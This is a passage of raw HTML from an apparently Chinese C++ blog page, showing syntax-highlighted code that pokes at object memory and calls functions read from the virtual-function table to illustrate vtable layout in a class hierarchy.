Codehighlighter1_316_317_Closed_Image.style.display='inline'; Codehighlighter1_316_317_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_316_317_Closed_Image onclick="this.style.display='none'; Codehighlighter1_316_317_Closed_Text.style.display='none'; Codehighlighter1_316_317_Open_Image.style.display='inline'; Codehighlighter1_316_317_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #000000">~</span><span style="COLOR: #000000">derive()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_316_317_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_316_317_Open_Text><span style="COLOR: #000000">{}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">19</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">20</span><span style="COLOR: #000000"><img id=Codehighlighter1_345_376_Open_Image onclick="this.style.display='none'; Codehighlighter1_345_376_Open_Text.style.display='none'; Codehighlighter1_345_376_Closed_Image.style.display='inline'; Codehighlighter1_345_376_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_345_376_Closed_Image onclick="this.style.display='none'; Codehighlighter1_345_376_Closed_Text.style.display='none'; Codehighlighter1_345_376_Open_Image.style.display='inline'; Codehighlighter1_345_376_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> func1()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_345_376_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_345_376_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive::func1\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">21</span><span style="COLOR: #000000"><img id=Codehighlighter1_403_434_Open_Image onclick="this.style.display='none'; Codehighlighter1_403_434_Open_Text.style.display='none'; Codehighlighter1_403_434_Closed_Image.style.display='inline'; Codehighlighter1_403_434_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_403_434_Closed_Image onclick="this.style.display='none'; Codehighlighter1_403_434_Closed_Text.style.display='none'; Codehighlighter1_403_434_Open_Image.style.display='inline'; Codehighlighter1_403_434_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> func3()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_403_434_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_403_434_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive::func3\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">22</span><span style="COLOR: #000000"><img id=Codehighlighter1_461_492_Open_Image onclick="this.style.display='none'; Codehighlighter1_461_492_Open_Text.style.display='none'; Codehighlighter1_461_492_Closed_Image.style.display='inline'; Codehighlighter1_461_492_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_461_492_Closed_Image onclick="this.style.display='none'; Codehighlighter1_461_492_Closed_Text.style.display='none'; Codehighlighter1_461_492_Open_Image.style.display='inline'; Codehighlighter1_461_492_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> func4()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_461_492_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_461_492_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive::func4\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">23</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">24</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000"> ma2;<br></span><span style="COLOR: #008080">25</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000"> mb2;<br></span><span style="COLOR: #008080">26</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">27</span><span style="COLOR: #000000"><img id=Codehighlighter1_546_584_Open_Image onclick="this.style.display='none'; Codehighlighter1_546_584_Open_Text.style.display='none'; Codehighlighter1_546_584_Closed_Image.style.display='inline'; Codehighlighter1_546_584_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_546_584_Closed_Image onclick="this.style.display='none'; Codehighlighter1_546_584_Closed_Text.style.display='none'; Codehighlighter1_546_584_Open_Image.style.display='inline'; Codehighlighter1_546_584_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> member_func2()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_546_584_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_546_584_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive::member_func2\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">28</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">29</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/None.gif"><br></span><span style="COLOR: #008080">30</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">class</span><span style="COLOR: #000000"> derive2 : </span><span style="COLOR: #0000ff">public</span><span style="COLOR: #000000"> derive<br></span><span style="COLOR: #008080">31</span><span style="COLOR: #000000"><img id=Codehighlighter1_620_935_Open_Image onclick="this.style.display='none'; Codehighlighter1_620_935_Open_Text.style.display='none'; Codehighlighter1_620_935_Closed_Image.style.display='inline'; Codehighlighter1_620_935_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_620_935_Closed_Image onclick="this.style.display='none'; Codehighlighter1_620_935_Closed_Text.style.display='none'; Codehighlighter1_620_935_Open_Image.style.display='inline'; Codehighlighter1_620_935_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_620_935_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_620_935_Open_Text><span style="COLOR: #000000">{<br></span><span style="COLOR: #008080">32</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #0000ff">public</span><span style="COLOR: #000000">:<br></span><span style="COLOR: #008080">33</span><span style="COLOR: #000000"><img id=Codehighlighter1_643_644_Open_Image onclick="this.style.display='none'; Codehighlighter1_643_644_Open_Text.style.display='none'; Codehighlighter1_643_644_Closed_Image.style.display='inline'; Codehighlighter1_643_644_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_643_644_Closed_Image onclick="this.style.display='none'; Codehighlighter1_643_644_Closed_Text.style.display='none'; Codehighlighter1_643_644_Open_Image.style.display='inline'; Codehighlighter1_643_644_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    derive2()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_643_644_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_643_644_Open_Text><span style="COLOR: #000000">{}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">34</span><span style="COLOR: #000000"><img id=Codehighlighter1_661_662_Open_Image onclick="this.style.display='none'; Codehighlighter1_661_662_Open_Text.style.display='none'; Codehighlighter1_661_662_Closed_Image.style.display='inline'; Codehighlighter1_661_662_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_661_662_Closed_Image onclick="this.style.display='none'; Codehighlighter1_661_662_Closed_Text.style.display='none'; Codehighlighter1_661_662_Open_Image.style.display='inline'; Codehighlighter1_661_662_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #000000">~</span><span style="COLOR: #000000">derive2()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_661_662_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_661_662_Open_Text><span style="COLOR: #000000">{}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">35</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">36</span><span style="COLOR: #000000"><img id=Codehighlighter1_690_722_Open_Image onclick="this.style.display='none'; Codehighlighter1_690_722_Open_Text.style.display='none'; Codehighlighter1_690_722_Closed_Image.style.display='inline'; Codehighlighter1_690_722_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_690_722_Closed_Image onclick="this.style.display='none'; Codehighlighter1_690_722_Closed_Text.style.display='none'; Codehighlighter1_690_722_Open_Image.style.display='inline'; Codehighlighter1_690_722_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> func3()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_690_722_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_690_722_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive2::func3\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">37</span><span style="COLOR: #000000"><img id=Codehighlighter1_749_781_Open_Image onclick="this.style.display='none'; Codehighlighter1_749_781_Open_Text.style.display='none'; Codehighlighter1_749_781_Closed_Image.style.display='inline'; Codehighlighter1_749_781_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_749_781_Closed_Image onclick="this.style.display='none'; Codehighlighter1_749_781_Closed_Text.style.display='none'; Codehighlighter1_749_781_Open_Image.style.display='inline'; Codehighlighter1_749_781_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> func4()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_749_781_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_749_781_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive2::func4\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">38</span><span style="COLOR: #000000"><img id=Codehighlighter1_808_840_Open_Image onclick="this.style.display='none'; Codehighlighter1_808_840_Open_Text.style.display='none'; Codehighlighter1_808_840_Closed_Image.style.display='inline'; Codehighlighter1_808_840_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_808_840_Closed_Image onclick="this.style.display='none'; Codehighlighter1_808_840_Closed_Text.style.display='none'; Codehighlighter1_808_840_Open_Image.style.display='inline'; Codehighlighter1_808_840_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">virtual</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> func5()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_808_840_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_808_840_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive2::func5\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">39</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">40</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000"> ma3;<br></span><span style="COLOR: #008080">41</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000"> mb3;<br></span><span style="COLOR: #008080">42</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">43</span><span style="COLOR: #000000"><img id=Codehighlighter1_894_933_Open_Image onclick="this.style.display='none'; Codehighlighter1_894_933_Open_Text.style.display='none'; Codehighlighter1_894_933_Closed_Image.style.display='inline'; Codehighlighter1_894_933_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_894_933_Closed_Image onclick="this.style.display='none'; Codehighlighter1_894_933_Closed_Text.style.display='none'; Codehighlighter1_894_933_Open_Image.style.display='inline'; Codehighlighter1_894_933_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> member_func3()</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_894_933_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_894_933_Open_Text><span style="COLOR: #000000">{printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">derive2::member_func3\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);}</span></span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">44</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">}</span></span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">45</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/None.gif"></span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000"> _tmain(</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000"> argc, _TCHAR</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000"> argv[])<br></span><span style="COLOR: #008080">46</span><span style="COLOR: #000000"><img id=Codehighlighter1_975_1482_Open_Image onclick="this.style.display='none'; Codehighlighter1_975_1482_Open_Text.style.display='none'; Codehighlighter1_975_1482_Closed_Image.style.display='inline'; Codehighlighter1_975_1482_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_975_1482_Closed_Image onclick="this.style.display='none'; Codehighlighter1_975_1482_Closed_Text.style.display='none'; Codehighlighter1_975_1482_Open_Image.style.display='inline'; Codehighlighter1_975_1482_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedBlock.gif"></span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_975_1482_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_975_1482_Open_Text><span style="COLOR: #000000">{<br></span><span style="COLOR: #008080">47</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    typedef </span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000"> (</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">Fun)(</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">);<br></span><span style="COLOR: #008080">48</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">49</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    Fun pfun </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">50</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    derive2</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000"> d2 </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000"> derive2;<br></span><span style="COLOR: #008080">51</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000"> p </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> (</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)d2;<br></span><span style="COLOR: #008080">52</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">) </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">20</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">53</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">2</span><span style="COLOR: #000000">) </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">30</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">54</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">) </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">200</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">55</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">4</span><span style="COLOR: #000000">) </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">300</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">56</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">) </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">2000</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">57</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">6</span><span style="COLOR: #000000">) </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">30000</span><span style="COLOR: #000000">;<br></span><span style="COLOR: #008080">58</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif"><br></span><span style="COLOR: #008080">59</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">for</span><span style="COLOR: #000000"> (</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000"> i </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">; i</span><span style="COLOR: #000000"><</span><span style="COLOR: #000000">5</span><span style="COLOR: #000000">; i</span><span style="COLOR: #000000">++</span><span style="COLOR: #000000">)<br></span><span style="COLOR: #008080">60</span><span style="COLOR: #000000"><img id=Codehighlighter1_1225_1360_Open_Image onclick="this.style.display='none'; Codehighlighter1_1225_1360_Open_Text.style.display='none'; Codehighlighter1_1225_1360_Closed_Image.style.display='inline'; Codehighlighter1_1225_1360_Closed_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_1225_1360_Closed_Image onclick="this.style.display='none'; Codehighlighter1_1225_1360_Closed_Text.style.display='none'; Codehighlighter1_1225_1360_Open_Image.style.display='inline'; Codehighlighter1_1225_1360_Open_Text.style.display='inline';" align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ContractedSubBlock.gif">    </span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_1225_1360_Closed_Text><img src="http://www.shnenglu.com/Images/dot.gif"></span><span id=Codehighlighter1_1225_1360_Open_Text><span style="COLOR: #000000">{<br></span><span style="COLOR: #008080">61</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">        Fun pfun </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> (Fun)</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">((</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">i);<br></span><span style="COLOR: #008080">62</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">        </span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000"> (pfun)<br></span><span style="COLOR: #008080">63</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">            pfun();<br></span><span style="COLOR: #008080">64</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">        </span><span style="COLOR: #0000ff">else</span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">65</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">            printf(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">null\r\n</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">);<br></span><span style="COLOR: #008080">66</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/ExpandedSubBlockEnd.gif">     }</span></span><span style="COLOR: #000000"><br></span><span style="COLOR: #008080">67</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    <br></span><span style="COLOR: #008080">68</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">base</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000"> b2 </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> </span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000"> derive;<br></span><span style="COLOR: #008080">69</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    </span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000"> p2 </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> (</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)b2;<br></span><span style="COLOR: #008080">70</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    pfun </span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"> (Fun)</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">((</span><span style="COLOR: #0000ff">int</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">(p2</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">3</span><span style="COLOR: #000000">);<br></span><span style="COLOR: #008080">71</span><span style="COLOR: #000000"><img align=top src="http://www.shnenglu.com/Images/OutliningIndicators/InBlock.gif">    pfun();<br></span><span style="COLOR: #008080">72</span><span style="COLOR: 